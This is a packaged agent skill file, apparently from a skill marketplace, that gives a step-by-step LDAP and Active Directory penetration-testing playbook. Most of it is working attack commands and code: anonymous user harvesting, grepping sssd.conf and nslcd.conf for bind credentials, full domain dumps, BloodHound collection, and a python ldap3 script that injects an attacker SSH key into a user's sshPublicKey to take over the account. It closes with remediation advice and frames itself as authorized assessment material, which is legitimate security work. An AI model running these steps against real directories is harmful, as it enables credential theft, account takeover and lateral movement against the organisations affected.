pentesting-ldap
$
npx mdskill add xalgord/xalgorix/pentesting-ldap- During authorized AD/directory assessments when 389, 636, 3268, or 3269 is open - When you need to enumerate users, groups, computers, and the password policy - When testing for anonymous/null binds that expose the directory unauthenticated - When you have valid credentials and want a full domain dump or BloodHound collection - When assessing Linux hosts integrated with LDAP/AD for leaked bind credentials in client configs
SKILL.md
.github/skills/pentesting-ldapView on GitHub ↗
---
name: pentesting-ldap
description: Testing LDAP / LDAPS directory services (389, 636, and Global Catalog 3268/3269) including Active Directory
during authorized engagements. Covers anonymous/null bind enumeration, naming-context discovery, user/group/computer
extraction with ldapsearch and netexec, credentialed domain dumping (ldapdomaindump, windapsearch, BloodHound),
cleartext credential sniffing, writable-attribute abuse (sshPublicKey), and harvesting bind creds from client configs.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- ldap
- active-directory
- enumeration
- bloodhound
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting LDAP (ports 389/636/3268/3269)
## When to Use
- During authorized AD/directory assessments when 389, 636, 3268, or 3269 is open
- When you need to enumerate users, groups, computers, and the password policy
- When testing for anonymous/null binds that expose the directory unauthenticated
- When you have valid credentials and want a full domain dump or BloodHound collection
- When assessing Linux hosts integrated with LDAP/AD for leaked bind credentials in client configs
## Quick Enumeration
```bash
# Confirm service and grab public info (anonymous)
nmap -n -sV --script "ldap* and not brute" <IP>
nmap -p 389 --script ldap-search -Pn <IP>
# Naming context / rootDSE (base DN autodetected) — no creds
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -s base -b '' "(objectClass=*)" "*" +
# netexec LDAP module
netexec ldap <DC_FQDN> -u '' -p '' # anonymous probe
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<sub>,DC=<tld>"
```
## Critical: Checks Most Often Missed
1. **Anonymous / null bind** — legacy or misconfigured directories allow unauthenticated reads of the entire tree: users, groups, computers, attributes, and the password policy. Test `ldapsearch -x -D '' -w ''` and `netexec ldap -u '' -p ''`.
2. **Cleartext LDAP (no TLS)** — plain 389 lets you sniff bind credentials on the wire; also enables a downgrade MITM where a TLS client falls back to cleartext.
3. **Writable user attributes** — if you can modify `sshPublicKey`, and SSH reads keys from LDAP, you can log in as that user even without their password. Check write access to high-value attributes.
4. **Bind creds in client configs** — on LDAP-joined Linux, `/etc/sssd/sssd.conf`, `/etc/nslcd.conf`, and `/etc/ldap/ldap.conf` often hold reusable `ldap_default_bind_dn` + `ldap_default_authtok`. World-readable configs are a quick win.
5. **userPassword / description leakage** — directory entries sometimes store passwords or password hints in readable attributes; grep query output for them.
How to CONFIRM: an anonymous bind is confirmed when an unauthenticated `ldapsearch -x` returns directory entries (not just rootDSE). If you see `Operations error ... successful bind must be completed`, the bind is rejected (anonymous disabled or creds invalid).
## Workflow
### Step 1: Enumerate (naming context, objects, users)
```bash
# Discover the naming context, then dump objects
ldapsearch -x -H ldap://<IP> -s base namingcontexts
ldapsearch -x -H ldap://<IP> -b "DC=<sub>,DC=<tld>"
# Anonymous user harvest via netexec
netexec ldap <DC_FQDN> -u '' -p '' --query "(sAMAccountName=*)" "" \
| awk -F': ' '/sAMAccountName:/ {print $2}' | sort -u > users.txt
# python ldap3 anonymous probe
python3 - <<'PY'
import ldap3
s = ldap3.Server('<IP>', get_info=ldap3.ALL, port=636, use_ssl=True)
c = ldap3.Connection(s); print(c.bind()); print(s.info)
PY
```
### Step 2: Authenticate (null bind, valid creds, GSSAPI)
```bash
# Check null vs valid creds (watch for "bind must be completed")
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<sub>,DC=<tld>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' -b "DC=<sub>,DC=<tld>"
# Kerberos (GSSAPI) bind instead of NTLM/simple
ldapsearch -Y GSSAPI -H ldap://<IP> -b "DC=<sub>,DC=<tld>"
# Harvest bind creds from LDAP client configs (post-foothold)
grep -nE '^(ldap_uri|ldap_search_base|ldap_default_bind_dn|ldap_default_authtok|id_provider|auth_provider)\s*=' \
/etc/sssd/sssd.conf /etc/nslcd.conf 2>/dev/null
```
### Step 3: Exploit / Extract (domain dump, targeted queries)
```bash
# Extract specific objects
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<user>' -w '<pass>' -b "CN=Users,DC=<sub>,DC=<tld>"
ldapsearch ... -b "CN=Domain Admins,CN=Users,DC=<sub>,DC=<tld>" # privileged group
ldapsearch ... -b "CN=Computers,DC=<sub>,DC=<tld>" # computers
# Grep for passwords in results
ldapsearch ... -b "DC=<sub>,DC=<tld>" | grep -i -A2 -B2 "userpas"
# Full domain dump
ldapdomaindump <IP> -u '<domain>\<user>' -p '<pass>' -o /tmp/ldd
# Windows-domain enumeration helper
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p pass --da
python3 windapsearch.py --dc-ip <IP> -u user@domain.local -p pass --privileged-users
```
### Step 4: Post-access / abuse and lateral movement
```bash
# BloodHound collection via netexec LDAP
nxc ldap <IP> -u <USER> -p <PASS> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp
# Writable-attribute abuse: inject your SSH key into a user (ldap3)
python3 - <<'PY'
import ldap3
s = ldap3.Server('<IP>', port=636, use_ssl=True)
c = ldap3.Connection(s, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
c.modify('uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN',
{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAA... attacker@host'])]})
print(c.result)
PY
# Crack offline LDAP DB hashes if filesystem access obtained
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u
```
## Key Concepts
| Concept | Description |
|---------|-------------|
| **LDAP / LDAPS** | Directory access protocol; 389 cleartext, 636 over TLS |
| **Global Catalog** | Forest-wide partial replica on 3268 (LDAP) and 3269 (LDAPS) |
| **Naming context / base DN** | Root of the directory tree (e.g. `DC=corp,DC=local`) |
| **Anonymous/null bind** | Unauthenticated connection that may expose directory data |
| **DN / RDN** | Distinguished Name; the unique path to an object |
| **LDIF** | LDAP Data Interchange Format for records and update operations |
| **Writable attribute abuse** | Modifying attributes like `sshPublicKey` to gain access |
| **rootDSE** | Server metadata (supported versions, naming contexts) readable pre-bind |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **ldapsearch** | Core query tool; supports simple, null, and GSSAPI binds |
| **netexec / crackmapexec** (ldap) | Anonymous queries, BloodHound collection, spraying |
| **ldapdomaindump** | Full domain object dump to HTML/JSON/grep |
| **windapsearch** | Enumerate users/groups/computers/privileged users via LDAP |
| **python ldap3** | Scripted enumeration and attribute modification |
| **BloodHound** | Graph analysis of AD attack paths from LDAP data |
| **godap / JXplorer / Apache Directory Studio** | Interactive LDAP clients |
## Common Scenarios
### Scenario 1: Anonymous Bind Full Disclosure
A misconfigured DC allows null binds. `netexec ldap <DC> -u '' -p '' --query "(sAMAccountName=*)"` dumps every user and the password policy, seeding a targeted password spray.
### Scenario 2: Bind Creds in sssd.conf
A world-readable `/etc/sssd/sssd.conf` on a Linux host exposes `ldap_default_bind_dn` and `ldap_default_authtok`, which authenticate to the directory and pull privileged group memberships.
### Scenario 3: sshPublicKey Injection
The tester can modify a service account's `sshPublicKey`. After injecting an attacker key, SSH (configured to read keys from LDAP) grants login as that account.
### Scenario 4: Credentialed BloodHound
With a valid low-priv credential, `nxc ldap ... --bloodhound -c All` collects the graph, revealing a short path from the compromised user to Domain Admins.
## Output Format
```
## LDAP Finding
**Service**: LDAP / LDAPS
**Severity**: <Critical|High|Medium>
**Host**: <IP>:389/636 (GC 3268/3269)
**Base DN**: <DC=corp,DC=local>
### Summary
<What was found: anonymous bind, cleartext creds, writable attribute, leaked bind creds>
### Extracted Data
| Object Type | Count / Detail |
|-------------|----------------|
| Users | <n> (sAMAccountName harvested) |
| Privileged groups | Domain Admins membership exposed |
| Password policy | <details> |
### Evidence
- Command: <ldapsearch / netexec query>
- Output: <entry/attribute excerpt>
### Recommendation
1. Disable anonymous/null LDAP binds
2. Enforce LDAPS (TLS) and require channel binding / signing
3. Restrict read access to sensitive attributes; remove passwords from attributes
4. Lock down LDAP client config files (sssd.conf, nslcd.conf) to root-only
5. Review write permissions on user attributes (sshPublicKey, scriptPath)
```